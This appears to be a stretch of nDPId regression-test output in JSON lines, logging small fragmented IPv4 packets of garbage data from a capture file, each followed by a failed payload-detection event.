+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387536,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387695,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 